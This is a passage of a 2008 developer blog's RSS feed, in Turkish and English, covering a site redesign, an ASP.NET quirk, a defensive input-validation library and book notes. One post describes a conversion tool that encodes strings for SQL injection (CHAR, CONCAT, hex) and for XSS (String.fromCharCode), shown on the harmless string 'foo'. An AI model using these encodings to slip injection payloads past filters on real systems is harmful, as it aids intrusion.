&amp;quot;&lt;strong&gt;&lt;a href="http://beta.mavituna.com/all-browse/"&gt;T&amp;#252;m Yazılar&lt;/a&gt;&lt;/strong&gt;&amp;quot;. Bu testtte bunu iptal ettim &amp;#231;&amp;#252;nk&amp;#252; hen&amp;#252;z teknik makale se&amp;#231;imini yapmadım. Bu sayede &lt;strong&gt;kişisel&lt;/strong&gt; ve &lt;strong&gt;ilginizi &amp;#231;ekmeyen yazılardan&lt;/strong&gt; kurtulmuş olacaksınız ve sadece teknik yazıları ana sayfada g&amp;#246;receksiniz.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;&lt;a href="http://beta.mavituna.com/advancedsearch/"&gt;Gelişmiş Arama&lt;/a&gt;&lt;/strong&gt;, Muhtemelen kendi sitemde en fazla arama yapan kişi benim, &amp;#231;&amp;#252;nk&amp;#252; yazdığım konulardaki kaynaklara ya da notlarıma bakmak istediğimde onları siteden bulmaya &amp;#231;alışıyor. Dolayısıyla muhtemelen gereğinde fazlasını yapan bir gelişmiş arama kısmı yazdım. Bir s&amp;#252;r&amp;#252; değişik se&amp;#231;enek ile herşeyi arayabiliyorsunuz.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;RSS, &lt;/strong&gt;Zaten bir &amp;#231;ok şey i&amp;#231;in RSS' imiz vardı. Şimdi ise &lt;strong&gt;herşey i&amp;#231;in RSS&lt;/strong&gt; var. Benim i&amp;#231;in RSS &amp;#231;ok &amp;#246;nemli, t&amp;#252;m &lt;strong&gt;arama sonu&amp;#231;ları&lt;/strong&gt;, t&amp;#252;m &lt;strong&gt;etiketler &lt;/strong&gt;ve &lt;strong&gt;yorumlara&lt;/strong&gt; RSS ile &amp;#252;ye olabilirsiniz. Mesela sadece programlama ile ilgili yazılar ilgnizi &amp;#231;ekiyorsa, &lt;strong&gt;programlama &lt;/strong&gt;etiketine RSS ile &amp;#252;ye olup sadece bu yazıları takip edebilirsiniz.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;AJAX&lt;/strong&gt;, En sonunda bende vagona atladım. T&amp;#252;m sitenin her biryerinden AJAX fışkırıyor ama Javascript' iniz yoksa da site &amp;#231;alışması gerektiği gibi &amp;#231;alışıyor. AJAX &amp;#246;zellikle &amp;quot;&lt;a href="http://beta.mavituna.com/archive/whocares/"&gt;Kimsenin Takmadığı Yazılar&lt;/a&gt;&amp;quot; gibi yerlerde &amp;#231;ok pratik oluyor.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Men&amp;#252; sevmeyen insanlar i&amp;#231;in&lt;/strong&gt; sağdaki men&amp;#252; gizlenebiliyor ve site bunu hatırlayıp o men&amp;#252;y&amp;#252; size bir daha g&amp;#246;stermiyor,&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Detaylı Arşivler&lt;/strong&gt;, Sitede 1600+ den fazla yazı olunca adam gibi arşiv olması &amp;#246;nemli bir fakt&amp;#246;r haline geliyor. Dolayısıyla g&amp;#252;zel bir arşiv yapısı kurmaya &amp;#231;alıştım. Bazı arşiv se&amp;#231;enekleri:&lt;/li&gt;    &lt;ul&gt;     &lt;li&gt;Yıllara G&amp;#246;re Arşivler&lt;/li&gt;      &lt;li&gt;&lt;a href="http://v3beta.mavituna.com/tags/"&gt;Etiket Arşivi&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href="http://v3beta.mavituna.com/archive/titles/"&gt;Son Yazılar&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href="http://v3beta.mavituna.com/archive/featured/"&gt;En iyi Yazılar&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href="http://v3beta.mavituna.com/archive/popular/"&gt;En Pop&amp;#252;ler Yazılar&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href="http://v3beta.mavituna.com/archive/looser/"&gt;En Tırt Yazılar&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href="http://v3beta.mavituna.com/archive/sensational/"&gt;&amp;#199;ok konuşulan Yazılar&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href="http://v3beta.mavituna.com/archive/whocares/"&gt;Kimsenin Takmadığı Yazılar&lt;/a&gt;&lt;/li&gt;   &lt;/ul&gt;    &lt;li&gt;&lt;strong&gt;Bu Yazılar Ka&amp;#231;maz &lt;/strong&gt;adı altında kayda değer ve okunası son iki yazıyı her zaman ana sayfada listeleyecek bir &amp;#246;zellik ekledim. Bu sayede arada ben sa&amp;#231;malamaya devam etsemde sa&amp;#231;malamadığım yazılar gene ana sayfada kalabilecek.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Yorumları e-mail ile takip&lt;/strong&gt; edebilme,&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Teknik Detaylar, &lt;/strong&gt;bu siteyi yaparken &amp;#231;ok fazla teknik detay ile boğuştum. Site ASP.NET, Framework 2 ile geliştirildi, ViewState vs. yok, yani bir &amp;#231;ok ASP.NET sitesi gibi değil, kendi yazdığım ASP.NET MVC ye benzer bir model. Dinamik tema desteği var yani birden farklı dilde, temada &amp;#231;alışabilir ve bunu tek yerden y&amp;#246;netiyor. İngilizce - T&amp;#252;rk&amp;#231;e site aslında tek dosyadan &amp;#231;alışıyor olacak mesela. Daha bir &amp;#231;ok teknik detayı dok&amp;#252;mente etmeye &amp;#231;alıştım ve inşallah yeni siteyi yayınlarken t&amp;#252;m geliştirmeyi de 15+ sayfa kadar blog olarak yayınlayacağım. Vakitleme, sorun &amp;#231;ıkaran şeyler, &amp;#231;&amp;#246;z&amp;#252;mler, kullanılan componentlar vs. bir &amp;#231;ok konuya değinmeye &amp;#231;alıştım.&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h3&gt;Eksikler ve Potansiyel Sorunlar&lt;/h3&gt;  &lt;ul&gt;   &lt;li&gt;Bazı yerlerde ufak &amp;#231;&amp;#246;z&amp;#252;lmesi gereken teknik detaylar var,&lt;/li&gt;    &lt;li&gt;Tasarımda footer gibi bir ka&amp;#231; yerin g&amp;#246;zden ge&amp;#231;irilmesi gerekiyor,&lt;/li&gt;    &lt;li&gt;Gelişmiş aramada &amp;quot;Yorumlar&amp;quot; ve &amp;quot;Etiketler&amp;quot; de hen&amp;#252;z arama yapılamıyor,&lt;/li&gt;    &lt;li&gt;Y&amp;#246;netim ekranları daha geliştirilmedi,&lt;/li&gt;    &lt;li&gt;IE 6 de adam gibi &amp;#231;alışmıyor ama bunu d&amp;#252;zeltmeyeceğim, Genelde IE 6 kullanıyorsanız g&amp;#252;venlik a&amp;#231;ısından ciddi sorunlarınız var demektir. Ek olarak site tamamen okunmaz hale gelmiyor ama sağdaki men&amp;#252; sapıtıyor.&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Son olarak, en b&amp;#252;y&amp;#252;k soru şu : &lt;strong&gt;Yeni tasarım g&amp;#252;zel mi? &lt;/strong&gt;Maalesef g&amp;#252;zellik g&amp;#246;receli bir kavram, hatta kullanılabilirlik bile g&amp;#246;receli bir kavram olabiliyor. Burada gelen yorumlardan size g&amp;#246;re nasıl olduğunu g&amp;#246;receğiz, ama ben bu tasarımdan mutluyum.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/KpOgZODnOtmJLzIhkgHt8i3K00A/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/KpOgZODnOtmJLzIhkgHt8i3K00A/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/KpOgZODnOtmJLzIhkgHt8i3K00A/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/KpOgZODnOtmJLzIhkgHt8i3K00A/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=5dh84rSQ"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=I0nSQtY5"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=Y9ljOph9"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=yDde4aIO"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=yDde4aIO" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/q3G3mQzbAms" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/yeni-tasarimon-gosterim-oku/</guid>
  <comments>http://ferruh.mavituna.com/yeni-tasarimon-gosterim-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/yeni-tasarimon-gosterim-oku/</feedburner:origLink></item>
<item>
  <title>Weird My.Settings behaviour in Web Site Projects</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/QoV8SH_k0s4/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Paz, 15 Haz 2008 11:20:22 +0300</pubDate>
  <description>&lt;p&gt;According to &lt;a href="http://msdn.microsoft.com/en-us/library/ms172698.aspx"&gt;MSDN &amp;quot;My.Settings&amp;quot; doesn't exist in Web Site projects&lt;/a&gt; but if you add a public shared function to one of your web pages and use &lt;strong&gt;My.Settings&lt;/strong&gt;,&lt;strong&gt; &lt;/strong&gt;it works perfectly fine. However if you try to use it under your App_Code it won't. I have no clue why the limitation exists in the first place anyway.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/m_e3Ztb8OU0l3IutQTSpn4aqJpA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/m_e3Ztb8OU0l3IutQTSpn4aqJpA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/m_e3Ztb8OU0l3IutQTSpn4aqJpA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/m_e3Ztb8OU0l3IutQTSpn4aqJpA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=78CIsnFd"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=mQt4UX2O"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=bJcUEaIq"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=ckMcIdDY"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=ckMcIdDY" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/QoV8SH_k0s4" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/weird-my-settings-behaviour-in-web-site-projects-oku/</guid>
  <comments>http://ferruh.mavituna.com/weird-my-settings-behaviour-in-web-site-projects-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/weird-my-settings-behaviour-in-web-site-projects-oku/</feedburner:origLink></item>
<item>
  <title>Online Conversion Tool</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/iqeDWZS8C-U/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cmt, 14 Haz 2008 04:10:04 +0300</pubDate>
  <description>&lt;p&gt;&lt;a href="http://ferruh.mavituna.com/tools/converter/"&gt;This is a really simple Javascript based conversion tool.&lt;/a&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;It can help you for :&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;SQL Injection&lt;/li&gt;    &lt;ul&gt;     &lt;li&gt;MS SQL Char       &lt;br /&gt;&amp;quot;foo&amp;quot; will be &amp;quot;&lt;code&gt;SELECT CHAR(102)+CHAR(111)+CHAR(111)&lt;/code&gt;&amp;quot;        &lt;br /&gt;&lt;/li&gt;      &lt;li&gt;MySQL CONCAT       &lt;br /&gt;&amp;quot;foo&amp;quot; &amp;gt; &amp;quot;&lt;code&gt;SELECT CONCAT(CHAR(102),CHAR(111),CHAR(111))&lt;/code&gt;&amp;quot;        &lt;br /&gt;&lt;/li&gt;      &lt;li&gt;MySQL Hex       &lt;br /&gt;&amp;quot;foo&amp;quot; &amp;gt; &amp;quot;&lt;code&gt;SELECT 0x666f6f&lt;/code&gt;&amp;quot;&lt;/li&gt;   &lt;/ul&gt;    &lt;li&gt;XSS&lt;/li&gt;    &lt;ul&gt;     &lt;li&gt;String.fromCharCode()       &lt;br /&gt;&lt;code&gt;&amp;quot;foo&amp;quot; &amp;gt; &amp;quot;String.fromCharCode(102,111,111)&amp;quot;&lt;/code&gt;&lt;/li&gt;   &lt;/ul&gt;    &lt;li&gt;Hashing&lt;/li&gt;    &lt;ul&gt;     &lt;li&gt;MD4&lt;/li&gt;      &lt;li&gt;MD5&lt;/li&gt;      &lt;li&gt;SHA-1&lt;/li&gt;      &lt;li&gt;SHA256&lt;/li&gt;   &lt;/ul&gt;    &lt;li&gt;Encoding&lt;/li&gt;    &lt;ul&gt;     &lt;li&gt;Base64&lt;/li&gt;      &lt;li&gt;URL&lt;/li&gt;      &lt;li&gt;JS Escape&lt;/li&gt;      &lt;li&gt;HTML UTF-8&lt;/li&gt;   &lt;/ul&gt;    &lt;li&gt;Decoding&lt;/li&gt;    &lt;ul&gt;     &lt;li&gt;Base64&lt;/li&gt;      &lt;li&gt;URL&lt;/li&gt;      &lt;li&gt;JS Escape&lt;/li&gt;   &lt;/ul&gt; &lt;/ul&gt;  &lt;p&gt;Also optionally output can be URL encoded.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7eaZgphQoz4VTSyEImcjWllPMaE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7eaZgphQoz4VTSyEImcjWllPMaE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7eaZgphQoz4VTSyEImcjWllPMaE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7eaZgphQoz4VTSyEImcjWllPMaE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=WFlJ3Kfw"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=kxzRNEUU"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=EGfUtHRK"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=LHU784Qv"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=LHU784Qv" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/iqeDWZS8C-U" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/online-conversion-tool-oku/</guid>
  <comments>http://ferruh.mavituna.com/online-conversion-tool-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/online-conversion-tool-oku/</feedburner:origLink></item>
<item>
  <title>NetBouncer ASP.NET Input Validation Library</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/bMkUk8MBNqE/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 13 Haz 2008 00:16:45 +0300</pubDate>
  <description>&lt;p&gt;&lt;a href="http://code.google.com/p/netbouncer/"&gt;NetBouncer .NET Input/Output Validation Library's first version is out now&lt;/a&gt;. It has got some basic &lt;a href="http://code.google.com/p/netbouncer/w/list"&gt;documentation&lt;/a&gt; as well as &lt;a href="http://code.google.com/p/netbouncer/downloads/list"&gt;compiled release&lt;/a&gt;. It's uses &lt;strong&gt;New BSD Licence&lt;/strong&gt; allows you to integrate into your commercial or non-commercial applications.&lt;/p&gt;  &lt;p&gt;It's simple yet effective, all input validation is centralised from one place, allows you to integrate your custom plug-ins and custom rules. New Rules can be written in XML or in your native .NET language. Designed ASP.NET in mind can be used in any .NET application. &lt;a href="http://code.google.com/p/netbouncer/source/checkout"&gt;Grab the source-code&lt;/a&gt;, check it out. If you fancy, contribute.&lt;/p&gt;  &lt;p&gt;Feel free to &lt;a href="http://code.google.com/p/netbouncer/issues/list"&gt;report issues&lt;/a&gt; or &lt;a href="http://ferruh.mavituna.com/iletisim/"&gt;drop me an e-mail&lt;/a&gt;. Now spread the word and secure your application. &lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/jvipABAxafOvl0z5haN3kBP7hn8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jvipABAxafOvl0z5haN3kBP7hn8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/jvipABAxafOvl0z5haN3kBP7hn8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jvipABAxafOvl0z5haN3kBP7hn8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=UNIsbm9z"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=vLu9ACMY"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=RQTYtWGA"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=otVcDAxL"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=otVcDAxL" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/bMkUk8MBNqE" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/netbouncer-asp-net-input-validation-library-oku/</guid>
  <comments>http://ferruh.mavituna.com/netbouncer-asp-net-input-validation-library-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/netbouncer-asp-net-input-validation-library-oku/</feedburner:origLink></item>
<item>
  <title>Sosyal Yazılım Geliştirme</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/VDbFFdYR7vc/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Pzt, 09 Haz 2008 23:12:33 +0300</pubDate>
  <description>&lt;p&gt;OO (&lt;em&gt;Object Oriented&lt;/em&gt;) programlamanın ve unit testing' in genel yazılım geliştirme pratiği olduğu, sosyal platformların patladığı ve RPG oyunlarına hasret olduğum şu g&amp;#252;nlerde aklımda yeni bir zihni sinir web projesi dolaşıyor. &lt;/p&gt;  &lt;p&gt;Malum ben tembel adamım, konuşmasına konuşurum ama iş yapmaya gelince &amp;quot;&lt;em&gt;işe gitmeyen&lt;/em&gt;&amp;quot; kişilerden biriyim. Bunu idrak etmem ile birlikte artık kendi kendime değerli olduğunu d&amp;#252;ş&amp;#252;nd&amp;#252;ğ&amp;#252;m &lt;a href="http://gettingreal.37signals.com/ch06_Done.php"&gt;ama eyleme ge&amp;#231;irmedikten sonra hi&amp;#231; bir değeri olmayan&lt;/a&gt; fikirlerimi de daha hızlı şekilde buradan paylaşmaya &amp;#231;alışacağım. Bu da onlardan bir tanesi.&lt;/p&gt;  &lt;h3&gt;Ana Fikir&lt;/h3&gt;  &lt;p&gt;Bir yazılımın internet &amp;#252;zerinden sitenin &amp;#252;yeleri tarafından geliştirilmesi. &amp;#214;rnek olarak &amp;#252;yelerin birlikte bir &amp;quot;&lt;strong&gt;RSS Okuyucu&lt;/strong&gt;&amp;quot; geliştirmesi. Her kişi bir metodu vs. geliştirecek ve daha sonradan bunların hepsi birleşince karşımıza kollektif olarak geliştirilmiş bir &amp;quot;&lt;strong&gt;RSS Okuyucu&lt;/strong&gt;&amp;quot; &amp;#231;ıkmış olacak.&lt;/p&gt;  &lt;h3&gt;Teknik İmplementasyon&lt;/h3&gt;  &lt;p&gt;Temel olarak bir kişi yazılım tasarımını m&amp;#252;mk&amp;#252;n olabilecek en detaylı şekilde tasarlar ve t&amp;#252;m OO iskeletini &amp;#231;ıkartır. Bu iskeletten sonra her obje i&amp;#231;in yoğun şekilde Unit Test' ler geliştirilir. İşin bu kısmının bir ka&amp;#231; kişi arasında klasik a&amp;#231;ık kaynak kodlu yazılım geliştirme s&amp;#252;reci gibi yapılması gerekebilir. &lt;/p&gt;  &lt;p&gt;Bu adımdan sonra siteye giren &amp;#252;yeler istedikleri projeyi se&amp;#231;ip herhangi bir b&amp;#246;l&amp;#252;m&amp;#252; kodlamaya başlayabilirler, daha sonradan kodlar siteye y&amp;#252;klenir veya direk orada yazılabilir. Bundan sonra eğer kodlar Unit Testlerin hepsini başarılı bir şekilde ge&amp;#231;iyorsa onay aşamasına gelir.&lt;/p&gt;  &lt;p&gt;Onayda bekleyen t&amp;#252;m kodlar gene başka kişiler tarafından onaylanır. Bu s&amp;#252;re&amp;#231;lerin hepsindeki katılımcılar sitede deneyim kazanır. Site aynı bir oyun gibi &amp;quot;&lt;strong&gt;başarı - achievements&lt;/strong&gt;&amp;quot; ve &amp;quot;&lt;strong&gt;experience - deneyim&lt;/strong&gt;&amp;quot; puanları i&amp;#231;ermelidir. Dolayısıyla kom&amp;#252;niti fakt&amp;#246;r&amp;#252; y&amp;#252;ksek tutulmalıdır.&lt;/p&gt;  &lt;p&gt;Bunun harici son implemantasyon ve geliştirme s&amp;#252;recindeki değişiklikler gene ana tasarımı yapan ekibin elinden ge&amp;#231;melidir, bundan sonra yazılımın son versiyonu hazır hale gelecektir. Bunlar harici sistem istenildiği gibi &amp;#231;alıştığı takdirde firmalar ticari olarak kendi projelerini g&amp;#246;nderebilir ve her mod&amp;#252;le fiyat koyabilirler. Bunun sonucu yazılımlarcılar site i&amp;#231;erisindeki reytinglerine g&amp;#246;re bu geliştirme işlerini yapabilir ve site &amp;#252;zerinden para da kazanabilirler. &lt;/p&gt;  &lt;h3&gt;Potansiyel Sorunlar&lt;/h3&gt;  &lt;ul&gt;   &lt;li&gt;Kod ve Unit Testlerin G&amp;#252;venli Ortamda Olması, Yani upload edilen kodların g&amp;#252;venli şekilde &amp;#231;alıştırılması, &lt;/li&gt;    &lt;li&gt;Proje geliştirici ana ekibin işini yapabiliyor olması,&lt;/li&gt;    &lt;li&gt;Sistemin verimli şekilde sadece belli dillerde &amp;#231;alışabilecek olması. Muhtemelen en verimli diller .NET ve Java olacaktır,&lt;/li&gt;    &lt;li&gt;Bir sistemi bir defa tasarlamak pek m&amp;#252;mk&amp;#252;n olmadığından ana iskeletteki tasarım değişikliklerini ve revizyonların getireceği sorunlar.&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Ek olarak belirtmem gerekir ki bu fikir tamamen yeni değil, bu şekilde kurumsal yazılım geliştiren firmalar var ancak t&amp;#252;m &amp;#231;alışanları uzman &amp;#252;cretli geliştiriciler. Dolayısıyla OO iskeletini ve Unit Testleri tek merkezden geliştirip b&amp;#252;y&amp;#252;k gruplara outsource etmek zaten aktif olarak yapılan bir &amp;#231;alışma. (&lt;em&gt;Bu konuda &amp;#252;nl&amp;#252; bir firma vardı ancak adını unuttum bilen varsa, bekliyorum&lt;/em&gt;).&lt;/p&gt;  &lt;p&gt;Bunun yanında sisteme a&amp;#231;ık sosyal bir platform getirmek ve kendi i&amp;#231;erisinde &lt;a href="http://www.ohloh.net/"&gt;Ohloh&lt;/a&gt; tadında bir k&amp;#252;lt&amp;#252;r oluşturmak hem eğlenceli olabilir hem de &amp;#231;ok g&amp;#252;zel &amp;#231;ıktılar verebilir. Proje mevcut yazılımlara yeni bir eklenti ya da yeni &amp;#246;zellikler eklemek i&amp;#231;in de kullanılabilir, dolayısıyla &amp;#231;ok b&amp;#252;y&amp;#252;k projeler yerine ufak projeler de hızlı şekilde &amp;#252;retilebilir.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/-8mOyZdIafz6oEP_YJN1yKquUG0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-8mOyZdIafz6oEP_YJN1yKquUG0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/-8mOyZdIafz6oEP_YJN1yKquUG0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-8mOyZdIafz6oEP_YJN1yKquUG0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=PSrRXhFc"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=MehmgD6n"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=Mb4syt6z"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=QFwJHIOM"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=QFwJHIOM" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/VDbFFdYR7vc" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/sosyal-yazilim-gelistirme-oku/</guid>
  <comments>http://ferruh.mavituna.com/sosyal-yazilim-gelistirme-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/sosyal-yazilim-gelistirme-oku/</feedburner:origLink></item>
<item>
  <title>Getting Real - Kitap Notları</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/B2-fhbc8N0A/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 06 Haz 2008 00:53:26 +0300</pubDate>
  <description>&lt;p&gt;Dediğim gibi bug&amp;#252;n Getting Real' ı bitirdim (&lt;em&gt;son bir ka&amp;#231; b&amp;#246;l&amp;#252;m essay kaldı&lt;/em&gt;). Son zamanlarda bir &amp;#231;ok konuda kısa notlar tutuyorum, bu notlar da Gettin Real' dan:&lt;/p&gt;  &lt;h4&gt;Less Features&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;Only explicitly required features for that moment, If it&amp;#8217;s not reuqired right now by you do not do it now. &lt;/li&gt;    &lt;li&gt;Less interface.&lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;Focus on something, solve it&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;Do not try to beat competitors use a new way, put something new into the market,&lt;/li&gt;    &lt;li&gt;Know your enemy, Choose and focus a point.&lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;Money&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;Use less money, small team, less features,&lt;/li&gt;    &lt;li&gt;First version of the app should be able to developed by only 3 people.&lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;Embrace Constraints&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;Use Deadlines,&lt;/li&gt;    &lt;li&gt;Lower the scope to meet deadlines.&lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;Business&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;Do not try to act big, show personality, show that you are small and take advantage of it.&lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;Priorities&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;What&amp;#8217;s your big idea?&lt;/li&gt;    &lt;li&gt;Work small, ignore details in the beginning, you can work on them later. Try to have fun with what you do. &lt;/li&gt;    &lt;li&gt;Don&amp;#8217;t fix a problem before it&amp;#8217;s a problem. &lt;/li&gt;    &lt;li&gt;Find your audience and market, focus on their expectations,&lt;/li&gt;    &lt;li&gt;Take a side      &lt;ol&gt;       &lt;li&gt;Application should take a side strictly, this might piss off some clients but who gives a shit. They can choose another solution. &lt;/li&gt;     